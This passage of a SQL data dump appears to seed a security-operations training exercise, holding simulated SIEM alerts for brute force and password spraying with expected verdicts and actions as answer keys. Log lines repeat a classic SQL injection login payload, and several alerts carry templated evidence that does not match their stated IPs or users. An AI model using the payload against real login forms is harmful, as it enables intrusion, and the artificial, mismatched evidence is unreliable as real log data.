--\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.950Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T22:50:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.0.2.60\\\",\\\"dst_ip\\\":\\\"10.0.0.80\\\",\\\"username\\\":\\\"none\\\",\\\"hostname\\\":\\\"public-web\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.950Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T22:50:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.0.2.60\\\",\\\"dst_ip\\\":\\\"10.0.0.80\\\",\\\"username\\\":\\\"none\\\",\\\"hostname\\\":\\\"public-web\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.950Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T22:50:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.0.2.60\\\",\\\"dst_ip\\\":\\\"10.0.0.80\\\",\\\"username\\\":\\\"none\\\",\\\"hostname\\\":\\\"public-web\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1677, 'Brute Force Attempt from Internal IP', 'low', 'Azure Sentinel', 'Detected several failed SSH login attempts from an internal IP address, possibly due to misconfigured scripts.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T23:15:20Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"10.0.0.90\",\"username\":\"root\",\"hostname\":\"internal-server\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:39:26', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address, likely misconfigured script\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.90\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"root\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Commonly targeted username\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The internal source and lack of malicious intent suggest a false positive due to misconfiguration.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.952Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T23:15:20Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"10.0.0.90\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.952Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T23:15:20Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"10.0.0.90\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.952Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T23:15:20Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"10.0.0.90\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.952Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T23:15:20Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"10.0.0.90\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.952Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T23:15:20Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.1.100\\\",\\\"dst_ip\\\":\\\"10.0.0.90\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1678, 'Password Spraying Attack Detected on Web Portal', 'critical', 'Splunk', 'Detected a password spraying attack against the internal web portal with multiple failed login attempts from an external IP.', 'Credential Attack', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T03:56:12Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"jdoe\",\"hostname\":\"web-portal\",\"failed_attempts\":25}', '2026-03-15 19:40:23', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal username involved in attack\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The external IP has been flagged for malicious activity, confirming the attack.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.953Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:56:12Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-15T20:57:15.953Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:56:12Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-15T20:56:15.953Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:56:12Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-15T20:55:15.953Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:56:12Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-03-15T20:54:15.953Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:56:12Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"web-portal\\\",\\\"failed_attempts\\\":25}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1679, 'SSH Brute Force Spike Detected', 'high', 'Wazuh', 'A spike in SSH login attempts was detected, indicating a potential brute force attack on the server.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T05:10:34Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.33\",\"dst_ip\":\"10.0.0.5\",\"username\":\"admin\",\"hostname\":\"ssh-server\",\"failed_attempts\":42}', '2026-03-15 19:40:23', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.33\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in numerous brute force attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Common administrative username\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The high number of failed attempts from a known malicious IP confirms the brute force attack.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.954Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:10:34Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.33\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"failed_attempts\\\":42}\"},{\"timestamp\":\"2026-03-15T20:57:15.954Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:10:34Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.33\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"failed_attempts\\\":42}\"},{\"timestamp\":\"2026-03-15T20:56:15.954Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:10:34Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.33\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"failed_attempts\\\":42}\"},{\"timestamp\":\"2026-03-15T20:55:15.954Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:10:34Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.33\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"failed_attempts\\\":42}\"},{\"timestamp\":\"2026-03-15T20:54:15.954Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T05:10:34Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.33\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh-server\\\",\\\"failed_attempts\\\":42}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1680, 'False Positive: Internal SSH Activity', 'low', 'Elastic SIEM', 'Detected SSH login attempts from an internal IP address, likely due to a scheduled script.', 'Brute Force', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T06:22:48Z\",\"event_type\":\"login_success\",\"src_ip\":\"192.168.0.15\",\"dst_ip\":\"192.168.0.20\",\"username\":\"backup_user\",\"hostname\":\"backup-server\",\"failed_attempts\":2}', '2026-03-15 19:40:23', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for scheduled tasks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"backup_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal user for backup operations\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The activity is consistent with internal maintenance operations.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.956Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:22:48Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.0.15\\\",\\\"dst_ip\\\":\\\"192.168.0.20\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"failed_attempts\\\":2}\"},{\"timestamp\":\"2026-03-15T20:57:15.956Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:22:48Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.0.15\\\",\\\"dst_ip\\\":\\\"192.168.0.20\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"failed_attempts\\\":2}\"},{\"timestamp\":\"2026-03-15T20:56:15.956Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:22:48Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.0.15\\\",\\\"dst_ip\\\":\\\"192.168.0.20\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"failed_attempts\\\":2}\"},{\"timestamp\":\"2026-03-15T20:55:15.956Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:22:48Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.0.15\\\",\\\"dst_ip\\\":\\\"192.168.0.20\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"failed_attempts\\\":2}\"},{\"timestamp\":\"2026-03-15T20:54:15.956Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:22:48Z\\\",\\\"event_type\\\":\\\"login_success\\\",\\\"src_ip\\\":\\\"192.168.0.15\\\",\\\"dst_ip\\\":\\\"192.168.0.20\\\",\\\"username\\\":\\\"backup_user\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"failed_attempts\\\":2}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1681, 'Password Spraying Attempt on Internal Network', 'medium', 'Azure Sentinel', 'Multiple failed login attempts detected from an external IP, suggesting a password spraying attempt.', 'Credential Attack', 'T1110', 1, 'investigating', NULL, '{\"timestamp\":\"2026-03-15T08:45:30Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.88\",\"dst_ip\":\"10.0.0.9\",\"username\":\"smith\",\"hostname\":\"internal-webapp\",\"failed_attempts\":30}', '2026-03-15 19:40:23', '2026-03-15 21:17:05', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.88\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple password spraying reports\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"smith\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"User involved in the detected attack\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The external IP\'s malicious history confirms its involvement in the attack.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.960Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:45:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.0.9\\\",\\\"username\\\":\\\"smith\\\",\\\"hostname\\\":\\\"internal-webapp\\\",\\\"failed_attempts\\\":30}\"},{\"timestamp\":\"2026-03-15T20:57:15.960Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:45:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.0.9\\\",\\\"username\\\":\\\"smith\\\",\\\"hostname\\\":\\\"internal-webapp\\\",\\\"failed_attempts\\\":30}\"},{\"timestamp\":\"2026-03-15T20:56:15.960Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:45:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.0.9\\\",\\\"username\\\":\\\"smith\\\",\\\"hostname\\\":\\\"internal-webapp\\\",\\\"failed_attempts\\\":30}\"},{\"timestamp\":\"2026-03-15T20:55:15.960Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:45:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.0.9\\\",\\\"username\\\":\\\"smith\\\",\\\"hostname\\\":\\\"internal-webapp\\\",\\\"failed_attempts\\\":30}\"},{\"timestamp\":\"2026-03-15T20:54:15.960Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:45:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.0.9\\\",\\\"username\\\":\\\"smith\\\",\\\"hostname\\\":\\\"internal-webapp\\\",\\\"failed_attempts\\\":30}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1682, 'SSH Login Attempt from Suspicious External IP', 'high', 'Splunk', 'An external IP has been attempting to login via SSH, showing signs of a brute force attack.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:14:56Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.114.56\",\"dst_ip\":\"10.0.0.11\",\"username\":\"root\",\"hostname\":\"main-server\",\"failed_attempts\":50}', '2026-03-15 19:40:23', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.114.56\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP frequently reported for SSH brute force attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"root\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Common administrative username targeted\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The repeated and rapid login attempts from a known malicious IP validate the attack.\"}', 'Beginner', 'SIEM', 3, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.966Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:14:56Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.114.56\\\",\\\"dst_ip\\\":\\\"10.0.0.11\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"main-server\\\",\\\"failed_attempts\\\":50}\"},{\"timestamp\":\"2026-03-15T20:57:15.966Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:14:56Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.114.56\\\",\\\"dst_ip\\\":\\\"10.0.0.11\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"main-server\\\",\\\"failed_attempts\\\":50}\"},{\"timestamp\":\"2026-03-15T20:56:15.966Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:14:56Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.114.56\\\",\\\"dst_ip\\\":\\\"10.0.0.11\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"main-server\\\",\\\"failed_attempts\\\":50}\"},{\"timestamp\":\"2026-03-15T20:55:15.966Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:14:56Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.114.56\\\",\\\"dst_ip\\\":\\\"10.0.0.11\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"main-server\\\",\\\"failed_attempts\\\":50}\"},{\"timestamp\":\"2026-03-15T20:54:15.966Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 